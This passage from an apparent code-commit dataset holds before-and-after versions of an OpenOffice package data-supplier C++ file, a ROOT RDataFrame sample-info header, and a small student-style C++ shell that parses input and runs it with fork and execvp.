( xId.is() )\n {\n \/\/ Already cached.\n return xId;\n }\n }\n\n rtl::OUString aId = queryContentIdentifierString( nIndex );\n if ( aId.getLength() )\n {\n uno::Reference< ucb::XContentIdentifier > xId\n = new ::ucbhelper::ContentIdentifier( aId );\n m_pImpl->m_aResults[ nIndex ]->xId = xId;\n return xId;\n }\n return uno::Reference< ucb::XContentIdentifier >();\n}\n\n\/\/=========================================================================\n\/\/ virtual\nuno::Reference< ucb::XContent > DataSupplier::queryContent(\n sal_uInt32 nIndex )\n{\n osl::Guard< osl::Mutex > aGuard( m_pImpl->m_aMutex );\n\n if ( nIndex < m_pImpl->m_aResults.size() )\n {\n uno::Reference< ucb::XContent > xContent\n = m_pImpl->m_aResults[ nIndex ]->xContent;\n if ( xContent.is() )\n {\n \/\/ Already cached.\n return xContent;\n }\n }\n\n uno::Reference< ucb::XContentIdentifier > xId\n = queryContentIdentifier( nIndex );\n if ( xId.is() )\n {\n try\n {\n uno::Reference< ucb::XContent > xContent\n = m_pImpl->m_xContent->getProvider()->queryContent( xId );\n m_pImpl->m_aResults[ nIndex ]->xContent = xContent;\n return xContent;\n\n }\n catch ( ucb::IllegalIdentifierException const & )\n {\n }\n }\n return uno::Reference< ucb::XContent >();\n}\n\n\/\/=========================================================================\n\/\/ virtual\nsal_Bool DataSupplier::getResult( sal_uInt32 nIndex )\n{\n osl::ClearableGuard< osl::Mutex > aGuard( m_pImpl->m_aMutex );\n\n if ( m_pImpl->m_aResults.size() > nIndex )\n {\n \/\/ Result already present.\n return sal_True;\n }\n\n \/\/ Result not (yet) present.\n\n if ( m_pImpl->m_bCountFinal )\n return sal_False;\n\n \/\/ Try to obtain result...\n\n sal_uInt32 nOldCount = m_pImpl->m_aResults.size();\n sal_Bool bFound = sal_False;\n sal_uInt32 nPos = nOldCount;\n\n while ( m_pImpl->m_xFolderEnum->hasMoreElements() )\n {\n try\n {\n uno::Reference< container::XNamed > xNamed;\n m_pImpl->m_xFolderEnum->nextElement() >>= xNamed;\n\n if ( !xNamed.is() )\n {\n OSL_ENSURE( sal_False,\n \"DataSupplier::getResult - Got no XNamed!\" );\n break;\n }\n\n rtl::OUString aName = xNamed->getName();\n\n if ( !aName.getLength() )\n {\n OSL_ENSURE( sal_False,\n \"DataSupplier::getResult - Empty name!\" );\n break;\n }\n\n \/\/ Assemble URL for child.\n rtl::OUString aURL = assembleChildURL( aName );\n\n m_pImpl->m_aResults.push_back( new ResultListEntry( aURL ) );\n\n if ( nPos == nIndex )\n {\n \/\/ Result obtained.\n bFound = sal_True;\n break;\n }\n\n nPos++;\n }\n catch ( container::NoSuchElementException const & )\n {\n m_pImpl->m_bThrowException = sal_True;\n break;\n }\n catch ( lang::WrappedTargetException const & )\n {\n m_pImpl->m_bThrowException = sal_True;\n break;\n }\n }\n\n if ( !bFound )\n m_pImpl->m_bCountFinal = sal_True;\n\n rtl::Reference< ::ucbhelper::ResultSet > xResultSet = getResultSet().get();\n if ( xResultSet.is() )\n {\n \/\/ Callbacks follow!\n aGuard.clear();\n\n if ( nOldCount < m_pImpl->m_aResults.size() )\n xResultSet->rowCountChanged(\n nOldCount, m_pImpl->m_aResults.size() );\n\n if ( m_pImpl->m_bCountFinal )\n xResultSet->rowCountFinal();\n }\n\n return bFound;\n}\n\n\/\/=========================================================================\n\/\/ virtual\nsal_uInt32 DataSupplier::totalCount()\n{\n osl::ClearableGuard< osl::Mutex > aGuard( m_pImpl->m_aMutex );\n\n if ( m_pImpl->m_bCountFinal )\n return m_pImpl->m_aResults.size();\n\n sal_uInt32 nOldCount = m_pImpl->m_aResults.size();\n\n while ( m_pImpl->m_xFolderEnum->hasMoreElements() )\n {\n try\n {\n uno::Reference< container::XNamed > xNamed;\n m_pImpl->m_xFolderEnum->nextElement() >>= xNamed;\n\n if ( !xNamed.is() )\n {\n OSL_ENSURE( sal_False,\n \"DataSupplier::getResult - Got no XNamed!\" );\n break;\n }\n\n rtl::OUString aName = xNamed->getName();\n\n if ( !aName.getLength() )\n {\n OSL_ENSURE( sal_False,\n \"DataSupplier::getResult - Empty name!\" );\n break;\n }\n\n \/\/ Assemble URL for child.\n rtl::OUString aURL = assembleChildURL( aName );\n\n m_pImpl->m_aResults.push_back( new ResultListEntry( aURL ) );\n }\n catch ( container::NoSuchElementException const & )\n {\n m_pImpl->m_bThrowException = sal_True;\n break;\n }\n catch ( lang::WrappedTargetException const & )\n {\n m_pImpl->m_bThrowException = sal_True;\n break;\n }\n }\n\n m_pImpl->m_bCountFinal = sal_True;\n\n rtl::Reference< ::ucbhelper::ResultSet > xResultSet = getResultSet().get();\n if ( xResultSet.is() )\n {\n \/\/ Callbacks follow!\n aGuard.clear();\n\n if ( nOldCount < m_pImpl->m_aResults.size() )\n xResultSet->rowCountChanged(\n nOldCount, m_pImpl->m_aResults.size() );\n\n xResultSet->rowCountFinal();\n }\n\n return m_pImpl->m_aResults.size();\n}\n\n\/\/=========================================================================\n\/\/ virtual\nsal_uInt32 DataSupplier::currentCount()\n{\n return m_pImpl->m_aResults.size();\n}\n\n\/\/=========================================================================\n\/\/ virtual\nsal_Bool DataSupplier::isCountFinal()\n{\n return m_pImpl->m_bCountFinal;\n}\n\n\/\/=========================================================================\n\/\/ virtual\nuno::Reference< sdbc::XRow > DataSupplier::queryPropertyValues(\n sal_uInt32 nIndex )\n{\n osl::Guard< osl::Mutex > aGuard( m_pImpl->m_aMutex );\n\n if ( nIndex < m_pImpl->m_aResults.size() )\n {\n uno::Reference< sdbc::XRow > xRow = m_pImpl->m_aResults[ nIndex ]->xRow;\n if ( xRow.is() )\n {\n \/\/ Already cached.\n return xRow;\n }\n }\n\n if ( getResult( nIndex ) )\n {\n uno::Reference< sdbc::XRow > xRow = Content::getPropertyValues(\n m_pImpl->m_xSMgr,\n getResultSet()->getProperties(),\n static_cast< ContentProvider * >(\n m_pImpl->m_xContent->getProvider().get() ),\n queryContentIdentifierString( nIndex ) );\n m_pImpl->m_aResults[ nIndex ]->xRow = xRow;\n return xRow;\n }\n\n return uno::Reference< sdbc::XRow >();\n}\n\n\/\/=========================================================================\n\/\/ virtual\nvoid DataSupplier::releasePropertyValues( sal_uInt32 nIndex )\n{\n osl::Guard< osl::Mutex > aGuard( m_pImpl->m_aMutex );\n\n if ( nIndex < m_pImpl->m_aResults.size() )\n m_pImpl->m_aResults[ nIndex ]->xRow = uno::Reference< sdbc::XRow >();\n}\n\n\/\/=========================================================================\n\/\/ virtual\nvoid DataSupplier::close()\n{\n}\n\n\/\/=========================================================================\n\/\/ virtual\nvoid DataSupplier::validate()\n throw( ucb::ResultSetException )\n{\n if ( m_pImpl->m_bThrowException )\n throw ucb::ResultSetException();\n}\n\n\/\/=========================================================================\n::rtl::OUString DataSupplier::assembleChildURL( const ::rtl::OUString& aName )\n{\n rtl::OUString aURL;\n rtl::OUString aContURL\n = m_pImpl->m_xContent->getIdentifier()->getContentIdentifier();\n sal_Int32 nParam = aContURL.indexOf( '?' );\n if ( nParam >= 0 )\n {\n aURL = aContURL.copy( 0, nParam );\n\n sal_Int32 nPackageUrlEnd = aURL.lastIndexOf( '\/' );\n if ( nPackageUrlEnd != aURL.getLength() - 1 )\n aURL += rtl::OUString::createFromAscii( \"\/\" );\n\n aURL += ::ucb_impl::urihelper::encodeSegment( aName );\n aURL += aContURL.copy( nParam );\n }\n else\n {\n aURL = aContURL;\n\n sal_Int32 nPackageUrlEnd = aURL.lastIndexOf( '\/' );\n if ( nPackageUrlEnd != aURL.getLength() - 1 )\n aURL += rtl::OUString::createFromAscii( \"\/\" );\n\n aURL += ::ucb_impl::urihelper::encodeSegment( aName );\n }\n return aURL;\n}\n\n\n<commit_msg>INTEGRATION: CWS changefileheader (1.15.72); FILE MERGED 2008\/04\/01 16:02:23 thb 1.15.72.3: #i85898# Stripping all external header guards 2008\/04\/01 12:58:22 thb 1.15.72.2: #i85898# Stripping all external header guards 2008\/03\/31 15:30:27 rt 1.15.72.1: #i87441# Change license header to LPGL v3.<commit_after>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: pkgdatasupplier.cxx,v $\n * $Revision: 1.16 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org. If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_ucb.hxx\"\n\n\/**************************************************************************\n TODO\n **************************************************************************\n\n *************************************************************************\/\n\n#include <vector>\n#include <osl\/diagnose.h>\n#include <com\/sun\/star\/container\/XEnumeration.hpp>\n#include <com\/sun\/star\/container\/XNamed.hpp>\n#include <ucbhelper\/contentidentifier.hxx>\n#include <ucbhelper\/providerhelper.hxx>\n#include \"pkgdatasupplier.hxx\"\n#include \"pkgcontent.hxx\"\n#include \"pkgprovider.hxx\"\n\n#include \"..\/inc\/urihelper.hxx\"\n\nusing namespace com::sun::star;\nusing namespace package_ucp;\n\nnamespace package_ucp\n{\n\n\/\/=========================================================================\n\/\/\n\/\/ struct ResultListEntry.\n\/\/\n\/\/=========================================================================\n\nstruct ResultListEntry\n{\n rtl::OUString aURL;\n uno::Reference< ucb::XContentIdentifier > xId;\n uno::Reference< ucb::XContent > xContent;\n uno::Reference< sdbc::XRow > xRow;\n\n ResultListEntry( const rtl::OUString& rURL ) : aURL( rURL ) {}\n};\n\n\/\/=========================================================================\n\/\/\n\/\/ ResultList.\n\/\/\n\/\/=========================================================================\n\ntypedef std::vector< ResultListEntry* > ResultList;\n\n\/\/=========================================================================\n\/\/\n\/\/ struct DataSupplier_Impl.\n\/\/\n\/\/=========================================================================\n\nstruct DataSupplier_Impl\n{\n osl::Mutex m_aMutex;\n ResultList m_aResults;\n rtl::Reference< Content > m_xContent;\n uno::Reference< lang::XMultiServiceFactory > m_xSMgr;\n uno::Reference< container::XEnumeration > m_xFolderEnum;\n sal_Int32 m_nOpenMode;\n sal_Bool m_bCountFinal;\n sal_Bool m_bThrowException;\n\n DataSupplier_Impl(\n const uno::Reference< lang::XMultiServiceFactory >& rxSMgr,\n const rtl::Reference< Content >& rContent,\n sal_Int32 nOpenMode )\n : m_xContent( rContent ), m_xSMgr( rxSMgr ),\n m_xFolderEnum( rContent->getIterator() ), m_nOpenMode( nOpenMode ),\n m_bCountFinal( !m_xFolderEnum.is() ), m_bThrowException( m_bCountFinal )\n {}\n ~DataSupplier_Impl();\n};\n\n\/\/=========================================================================\nDataSupplier_Impl::~DataSupplier_Impl()\n{\n ResultList::const_iterator it = m_aResults.begin();\n ResultList::const_iterator end = m_aResults.end();\n\n while ( it != end )\n {\n delete (*it);\n it++;\n }\n}\n\n}\n\n\/\/=========================================================================\n\/\/=========================================================================\n\/\/\n\/\/ DataSupplier Implementation.\n\/\/\n\/\/=========================================================================\n\/\/=========================================================================\n\nDataSupplier::DataSupplier(\n const uno::Reference< lang::XMultiServiceFactory >& rxSMgr,\n const rtl::Reference< Content >& rContent,\n sal_Int32 nOpenMode )\n: m_pImpl( new DataSupplier_Impl( rxSMgr, rContent, nOpenMode ) )\n{\n}\n\n\/\/=========================================================================\n\/\/ virtual\nDataSupplier::~DataSupplier()\n{\n delete m_pImpl;\n}\n\n\/\/=========================================================================\n\/\/ virtual\nrtl::OUString DataSupplier::queryContentIdentifierString( sal_uInt32 nIndex )\n{\n osl::Guard< osl::Mutex > aGuard( m_pImpl->m_aMutex );\n\n if ( nIndex < m_pImpl->m_aResults.size() )\n {\n rtl::OUString aId = m_pImpl->m_aResults[ nIndex ]->aURL;\n if ( aId.getLength() )\n {\n \/\/ Already cached.\n return aId;\n }\n }\n\n if ( getResult( nIndex ) )\n {\n \/\/ Note: getResult fills m_pImpl->m_aResults[ nIndex ]->aURL.\n return m_pImpl->m_aResults[ nIndex ]->aURL;\n }\n return rtl::OUString();\n}\n\n\/\/=========================================================================\n\/\/ virtual\nuno::Reference< ucb::XContentIdentifier >\nDataSupplier::queryContentIdentifier( sal_uInt32 nIndex )\n{\n osl::Guard< osl::Mutex > aGuard( m_pImpl->m_aMutex );\n\n if ( nIndex < m_pImpl->m_aResults.size() )\n {\n uno::Reference< ucb::XContentIdentifier > xId\n = m_pImpl->m_aResults[ nIndex ]->xId;\n if ( xId.is() )\n {\n \/\/ Already cached.\n return xId;\n }\n }\n\n rtl::OUString aId = queryContentIdentifierString( nIndex );\n if ( aId.getLength() )\n {\n uno::Reference< ucb::XContentIdentifier > xId\n = new ::ucbhelper::ContentIdentifier( aId );\n m_pImpl->m_aResults[ nIndex ]->xId = xId;\n return xId;\n }\n return uno::Reference< ucb::XContentIdentifier >();\n}\n\n\/\/=========================================================================\n\/\/ virtual\nuno::Reference< ucb::XContent > DataSupplier::queryContent(\n sal_uInt32 nIndex )\n{\n osl::Guard< osl::Mutex > aGuard( m_pImpl->m_aMutex );\n\n if ( nIndex < m_pImpl->m_aResults.size() )\n {\n uno::Reference< ucb::XContent > xContent\n = m_pImpl->m_aResults[ nIndex ]->xContent;\n if ( xContent.is() )\n {\n \/\/ Already cached.\n return xContent;\n }\n }\n\n uno::Reference< ucb::XContentIdentifier > xId\n = queryContentIdentifier( nIndex );\n if ( xId.is() )\n {\n try\n {\n uno::Reference< ucb::XContent > xContent\n = m_pImpl->m_xContent->getProvider()->queryContent( xId );\n m_pImpl->m_aResults[ nIndex ]->xContent = xContent;\n return xContent;\n\n }\n catch ( ucb::IllegalIdentifierException const & )\n {\n }\n }\n return uno::Reference< ucb::XContent >();\n}\n\n\/\/=========================================================================\n\/\/ virtual\nsal_Bool DataSupplier::getResult( sal_uInt32 nIndex )\n{\n osl::ClearableGuard< osl::Mutex > aGuard( m_pImpl->m_aMutex );\n\n if ( m_pImpl->m_aResults.size() > nIndex )\n {\n \/\/ Result already present.\n return sal_True;\n }\n\n \/\/ Result not (yet) present.\n\n if ( m_pImpl->m_bCountFinal )\n return sal_False;\n\n \/\/ Try to obtain result...\n\n sal_uInt32 nOldCount = m_pImpl->m_aResults.size();\n sal_Bool bFound = sal_False;\n sal_uInt32 nPos = nOldCount;\n\n while ( m_pImpl->m_xFolderEnum->hasMoreElements() )\n {\n try\n {\n uno::Reference< container::XNamed > xNamed;\n m_pImpl->m_xFolderEnum->nextElement() >>= xNamed;\n\n if ( !xNamed.is() )\n {\n OSL_ENSURE( sal_False,\n \"DataSupplier::getResult - Got no XNamed!\" );\n break;\n }\n\n rtl::OUString aName = xNamed->getName();\n\n if ( !aName.getLength() )\n {\n OSL_ENSURE( sal_False,\n \"DataSupplier::getResult - Empty name!\" );\n break;\n }\n\n \/\/ Assemble URL for child.\n rtl::OUString aURL = assembleChildURL( aName );\n\n m_pImpl->m_aResults.push_back( new ResultListEntry( aURL ) );\n\n if ( nPos == nIndex )\n {\n \/\/ Result obtained.\n bFound = sal_True;\n break;\n }\n\n nPos++;\n }\n catch ( container::NoSuchElementException const & )\n {\n m_pImpl->m_bThrowException = sal_True;\n break;\n }\n catch ( lang::WrappedTargetException const & )\n {\n m_pImpl->m_bThrowException = sal_True;\n break;\n }\n }\n\n if ( !bFound )\n m_pImpl->m_bCountFinal = sal_True;\n\n rtl::Reference< ::ucbhelper::ResultSet > xResultSet = getResultSet().get();\n if ( xResultSet.is() )\n {\n \/\/ Callbacks follow!\n aGuard.clear();\n\n if ( nOldCount < m_pImpl->m_aResults.size() )\n xResultSet->rowCountChanged(\n nOldCount, m_pImpl->m_aResults.size() );\n\n if ( m_pImpl->m_bCountFinal )\n xResultSet->rowCountFinal();\n }\n\n return bFound;\n}\n\n\/\/=========================================================================\n\/\/ virtual\nsal_uInt32 DataSupplier::totalCount()\n{\n osl::ClearableGuard< osl::Mutex > aGuard( m_pImpl->m_aMutex );\n\n if ( m_pImpl->m_bCountFinal )\n return m_pImpl->m_aResults.size();\n\n sal_uInt32 nOldCount = m_pImpl->m_aResults.size();\n\n while ( m_pImpl->m_xFolderEnum->hasMoreElements() )\n {\n try\n {\n uno::Reference< container::XNamed > xNamed;\n m_pImpl->m_xFolderEnum->nextElement() >>= xNamed;\n\n if ( !xNamed.is() )\n {\n OSL_ENSURE( sal_False,\n \"DataSupplier::getResult - Got no XNamed!\" );\n break;\n }\n\n rtl::OUString aName = xNamed->getName();\n\n if ( !aName.getLength() )\n {\n OSL_ENSURE( sal_False,\n \"DataSupplier::getResult - Empty name!\" );\n break;\n }\n\n \/\/ Assemble URL for child.\n rtl::OUString aURL = assembleChildURL( aName );\n\n m_pImpl->m_aResults.push_back( new ResultListEntry( aURL ) );\n }\n catch ( container::NoSuchElementException const & )\n {\n m_pImpl->m_bThrowException = sal_True;\n break;\n }\n catch ( lang::WrappedTargetException const & )\n {\n m_pImpl->m_bThrowException = sal_True;\n break;\n }\n }\n\n m_pImpl->m_bCountFinal = sal_True;\n\n rtl::Reference< ::ucbhelper::ResultSet > xResultSet = getResultSet().get();\n if ( xResultSet.is() )\n {\n \/\/ Callbacks follow!\n aGuard.clear();\n\n if ( nOldCount < m_pImpl->m_aResults.size() )\n xResultSet->rowCountChanged(\n nOldCount, m_pImpl->m_aResults.size() );\n\n xResultSet->rowCountFinal();\n }\n\n return m_pImpl->m_aResults.size();\n}\n\n\/\/=========================================================================\n\/\/ virtual\nsal_uInt32 DataSupplier::currentCount()\n{\n return m_pImpl->m_aResults.size();\n}\n\n\/\/=========================================================================\n\/\/ virtual\nsal_Bool DataSupplier::isCountFinal()\n{\n return m_pImpl->m_bCountFinal;\n}\n\n\/\/=========================================================================\n\/\/ virtual\nuno::Reference< sdbc::XRow > DataSupplier::queryPropertyValues(\n sal_uInt32 nIndex )\n{\n osl::Guard< osl::Mutex > aGuard( m_pImpl->m_aMutex );\n\n if ( nIndex < m_pImpl->m_aResults.size() )\n {\n uno::Reference< sdbc::XRow > xRow = m_pImpl->m_aResults[ nIndex ]->xRow;\n if ( xRow.is() )\n {\n \/\/ Already cached.\n return xRow;\n }\n }\n\n if ( getResult( nIndex ) )\n {\n uno::Reference< sdbc::XRow > xRow = Content::getPropertyValues(\n m_pImpl->m_xSMgr,\n getResultSet()->getProperties(),\n static_cast< ContentProvider * >(\n m_pImpl->m_xContent->getProvider().get() ),\n queryContentIdentifierString( nIndex ) );\n m_pImpl->m_aResults[ nIndex ]->xRow = xRow;\n return xRow;\n }\n\n return uno::Reference< sdbc::XRow >();\n}\n\n\/\/=========================================================================\n\/\/ virtual\nvoid DataSupplier::releasePropertyValues( sal_uInt32 nIndex )\n{\n osl::Guard< osl::Mutex > aGuard( m_pImpl->m_aMutex );\n\n if ( nIndex < m_pImpl->m_aResults.size() )\n m_pImpl->m_aResults[ nIndex ]->xRow = uno::Reference< sdbc::XRow >();\n}\n\n\/\/=========================================================================\n\/\/ virtual\nvoid DataSupplier::close()\n{\n}\n\n\/\/=========================================================================\n\/\/ virtual\nvoid DataSupplier::validate()\n throw( ucb::ResultSetException )\n{\n if ( m_pImpl->m_bThrowException )\n throw ucb::ResultSetException();\n}\n\n\/\/=========================================================================\n::rtl::OUString DataSupplier::assembleChildURL( const ::rtl::OUString& aName )\n{\n rtl::OUString aURL;\n rtl::OUString aContURL\n = m_pImpl->m_xContent->getIdentifier()->getContentIdentifier();\n sal_Int32 nParam = aContURL.indexOf( '?' );\n if ( nParam >= 0 )\n {\n aURL = aContURL.copy( 0, nParam );\n\n sal_Int32 nPackageUrlEnd = aURL.lastIndexOf( '\/' );\n if ( nPackageUrlEnd != aURL.getLength() - 1 )\n aURL += rtl::OUString::createFromAscii( \"\/\" );\n\n aURL += ::ucb_impl::urihelper::encodeSegment( aName );\n aURL += aContURL.copy( nParam );\n }\n else\n {\n aURL = aContURL;\n\n sal_Int32 nPackageUrlEnd = aURL.lastIndexOf( '\/' );\n if ( nPackageUrlEnd != aURL.getLength() - 1 )\n aURL += rtl::OUString::createFromAscii( \"\/\" );\n\n aURL += ::ucb_impl::urihelper::encodeSegment( aName );\n }\n return aURL;\n}\n\n\n<|endoftext|>"} {"text":"<commit_before>\/\/ Author: Enrico Guiraud, 2021\n\n\/*************************************************************************\n * Copyright (C) 1995-2021, Rene Brun and Fons Rademakers. *\n * All rights reserved. *\n * *\n * For the licensing terms see $ROOTSYS\/LICENSE. *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS. *\n *************************************************************************\/\n\n#ifndef ROOT_RDF_RSAMPLEINFO\n#define ROOT_RDF_RSAMPLEINFO\n\n#include <ROOT\/RStringView.hxx>\n#include <Rtypes.h>\n\n#include <functional>\n#include <stdexcept>\n#include <string>\n\nnamespace ROOT {\nnamespace RDF {\n\n\/\/\/ This type represents a sample identifier, to be used in conjunction with RDataFrame features such as\n\/\/\/ DefinePerSample() and per-sample callbacks.\n\/\/\/\n\/\/\/ When the input data comes from a TTree, the string representation of RSampleInfo (which is returned by AsString()\n\/\/\/ and that can be queried e.g. with Contains()) is of the form \"<filename>\/<treename>\".\n\/\/\/\n\/\/\/ In multi-thread runs different tasks might process different entry ranges of the same sample,\n\/\/\/ so RSampleInfo also provides methods to inspect which part of a sample is being taken into consideration.\nclass RSampleInfo {\n \/\/ Currently backed by a simple string, might change in the future as we get usage experience.\n std::string fID;\n std::pair<ULong64_t, ULong64_t> fEntryRange;\n\npublic:\n explicit RSampleInfo(std::string_view id, std::pair<ULong64_t, ULong64_t> entryRange)\n : fID(id), fEntryRange(entryRange)\n {\n }\n RSampleInfo() = default;\n RSampleInfo(const RSampleInfo &) = default;\n RSampleInfo &operator=(const RSampleInfo &) = default;\n RSampleInfo(RSampleInfo &&) = default;\n RSampleInfo &operator=(RSampleInfo &&) = default;\n ~RSampleInfo() = default;\n\n \/\/\/ Check whether the sample name contains the given substring.\n bool Contains(std::string_view substr) const\n {\n \/\/ C++14 needs the conversion from std::string_view to std::string\n return fID.find(std::string(substr)) != std::string::npos;\n }\n\n \/\/\/ Check whether the sample name is empty.\n \/\/\/\n \/\/\/ This is the case e.g. when using a RDataFrame with no input data, constructed as `RDataFrame(nEntries)`.\n bool Empty() const {\n return fID.empty();\n }\n\n \/\/\/ Return a string representation of the sample name.\n \/\/\/\n \/\/\/ The representation is of the form \"<filename>\/<treename>\" if the input data comes from a TTree or a TChain.\n const std::string &AsString() const\n {\n return fID;\n }\n\n \/\/\/ Return the entry range in this sample that is being taken into consideration.\n \/\/\/\n \/\/\/ Multiple multi-threading tasks might process different entry ranges of the same sample.\n std::pair<ULong64_t, ULong64_t> EntryRange() const { return fEntryRange; }\n\n \/\/\/ Return the number of entries of this sample that is being taken into consideration.\n ULong64_t NEntries() const { return fEntryRange.second - fEntryRange.first; }\n\n bool operator==(const RSampleInfo &other) const { return fID == other.fID; }\n bool operator!=(const RSampleInfo &other) const { return !(*this == other); }\n};\n\n\/\/\/ The type of a data-block callback, registered with a RDataFrame computation graph via e.g.\n\/\/\/ DefinePerSample() or by certain actions (e.g. Snapshot()).\nusing SampleCallback_t = std::function<void(unsigned int, const ROOT::RDF::RSampleInfo &)>;\n\n} \/\/ namespace RDF\n} \/\/ namespace ROOT\n\n#endif\n<commit_msg>[DF][NFC] Add a comma<commit_after>\/\/ Author: Enrico Guiraud, 2021\n\n\/*************************************************************************\n * Copyright (C) 1995-2021, Rene Brun and Fons Rademakers. *\n * All rights reserved. *\n * *\n * For the licensing terms see $ROOTSYS\/LICENSE. *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS. *\n *************************************************************************\/\n\n#ifndef ROOT_RDF_RSAMPLEINFO\n#define ROOT_RDF_RSAMPLEINFO\n\n#include <ROOT\/RStringView.hxx>\n#include <Rtypes.h>\n\n#include <functional>\n#include <stdexcept>\n#include <string>\n\nnamespace ROOT {\nnamespace RDF {\n\n\/\/\/ This type represents a sample identifier, to be used in conjunction with RDataFrame features such as\n\/\/\/ DefinePerSample() and per-sample callbacks.\n\/\/\/\n\/\/\/ When the input data comes from a TTree, the string representation of RSampleInfo (which is returned by AsString()\n\/\/\/ and that can be queried e.g. with Contains()) is of the form \"<filename>\/<treename>\".\n\/\/\/\n\/\/\/ In multi-thread runs, different tasks might process different entry ranges of the same sample,\n\/\/\/ so RSampleInfo also provides methods to inspect which part of a sample is being taken into consideration.\nclass RSampleInfo {\n \/\/ Currently backed by a simple string, might change in the future as we get usage experience.\n std::string fID;\n std::pair<ULong64_t, ULong64_t> fEntryRange;\n\npublic:\n explicit RSampleInfo(std::string_view id, std::pair<ULong64_t, ULong64_t> entryRange)\n : fID(id), fEntryRange(entryRange)\n {\n }\n RSampleInfo() = default;\n RSampleInfo(const RSampleInfo &) = default;\n RSampleInfo &operator=(const RSampleInfo &) = default;\n RSampleInfo(RSampleInfo &&) = default;\n RSampleInfo &operator=(RSampleInfo &&) = default;\n ~RSampleInfo() = default;\n\n \/\/\/ Check whether the sample name contains the given substring.\n bool Contains(std::string_view substr) const\n {\n \/\/ C++14 needs the conversion from std::string_view to std::string\n return fID.find(std::string(substr)) != std::string::npos;\n }\n\n \/\/\/ Check whether the sample name is empty.\n \/\/\/\n \/\/\/ This is the case e.g. when using a RDataFrame with no input data, constructed as `RDataFrame(nEntries)`.\n bool Empty() const {\n return fID.empty();\n }\n\n \/\/\/ Return a string representation of the sample name.\n \/\/\/\n \/\/\/ The representation is of the form \"<filename>\/<treename>\" if the input data comes from a TTree or a TChain.\n const std::string &AsString() const\n {\n return fID;\n }\n\n \/\/\/ Return the entry range in this sample that is being taken into consideration.\n \/\/\/\n \/\/\/ Multiple multi-threading tasks might process different entry ranges of the same sample.\n std::pair<ULong64_t, ULong64_t> EntryRange() const { return fEntryRange; }\n\n \/\/\/ Return the number of entries of this sample that is being taken into consideration.\n ULong64_t NEntries() const { return fEntryRange.second - fEntryRange.first; }\n\n bool operator==(const RSampleInfo &other) const { return fID == other.fID; }\n bool operator!=(const RSampleInfo &other) const { return !(*this == other); }\n};\n\n\/\/\/ The type of a data-block callback, registered with a RDataFrame computation graph via e.g.\n\/\/\/ DefinePerSample() or by certain actions (e.g. Snapshot()).\nusing SampleCallback_t = std::function<void(unsigned int, const ROOT::RDF::RSampleInfo &)>;\n\n} \/\/ namespace RDF\n} \/\/ namespace ROOT\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>#include <stdio.h>\n#include <vector>\n#include <string>\n#include <iostream>\n#include <sstream>\n#include <stdio.h>\n#include <string.h>\n#include <algorithm>\nusing namespace std;\n\n\/*void doExec(char* cmd){\n\tint pid = fork();\n\n\tif (pid == -1){\n\t\tperror(\"There was an error with fork()\");\n\t\texit(1);\n\t}\n\telse if (pid == 0){\n\t\tif (-1 == execvp(cmd, argv)){\n\t\t\tperror(\"There was an error with execvp()\");\n\t\t\texit(1);\n\t\t}\n\t}\n\telse {\n\t\tif (-1 == wait(0)){\n\t\t\tperror(\"There was an error with wait()\");\n\t\t\texit(1);\n\t\t}\n\t}\n}*\/\n\nchar* convert(const string& str){\n\tchar* p = new char[str.size()+1];\n\tstrcpy(p,str.c_str());\n\treturn p;\n}\n\nvector<char*> str_parse(string str){\n\tstring arg;\n\tvector<string> argList;\n\tvector<char*> argListC;\n\tistringstream inSS(arg);\n\n\twhile(!inSS.eof()){\n\t\tinSS >> str;\n\t\targList.push_back(arg);\n\t}\n\t\n\ttransform(argList.begin(), argList.end(), back_inserter(argListC), convert);\n\n\treturn argListC;\n}\n\n\nint main () {\n\tstring cmd;\n\n\twhile (true){\n\t\tcout << \"$ \";\n\t\tgetline(cin, cmd);\n\t\t\n\t\t\/\/check for exit command\n\t\tif (cmd == \"exit\") exit(0);\n\n\t\tstr_parse(cmd);\t\n\t}\n\t\t\n\treturn 0;\n\n}\n<commit_msg>shell now functions properly on single command w\/ args<commit_after>#include <stdio.h>\n#include <vector>\n#include <string>\n#include <iostream>\n#include <sstream>\n#include <stdio.h>\n#include <string.h>\n#include <algorithm>\n#include <sys\/types.h>\n#include <sys\/wait.h>\nusing namespace std;\n\nvoid doExec(vector<char*> instr){\n\tint pid = fork();\n\n\tif (pid == -1){\n\t\tperror(\"There was an error with fork()\");\n\t\texit(1);\n\t}\n\telse if (pid == 0){\n\t\t\tif (-1 == execvp(instr[0],&instr[0] )){\n\t\t\tperror(\"There was an error with execvp()\");\n\t\t\texit(1);\n\t\t}\n\t}\n\telse {\n\t\tif (-1 == wait(0)){\n\t\t\tperror(\"There was an error with wait()\");\n\t\t\texit(1);\n\t\t}\n\t}\n}\n\nchar* convert(const string& str){\n\tchar* p = new char[str.size()+1];\n\tstrcpy(p,str.c_str());\n\treturn p;\n}\n\nvector<char*> str_parse(string str){\n\tstring arg;\n\tvector<string> argList;\n\tvector<char*> argListC;\n\tistringstream inSS(str);\n\n\t\/\/parse from command string\n\twhile(!inSS.eof()){\n\t\tinSS >> arg;\n\t\targList.push_back(arg);\n\t}\n\n\t\/\/convert c++ string vector into cstring array\n\ttransform(argList.begin(), argList.end(), back_inserter(argListC), convert);\n\targListC.push_back(NULL);\n\n\treturn argListC;\n}\n\n\nint main () {\n\tstring cmd;\n\n\twhile (true){\n\t\tcout << \"$ \";\n\t\tgetline(cin, cmd);\n\t\t\n\t\t\/\/check for exit command\n\t\tif (cmd == 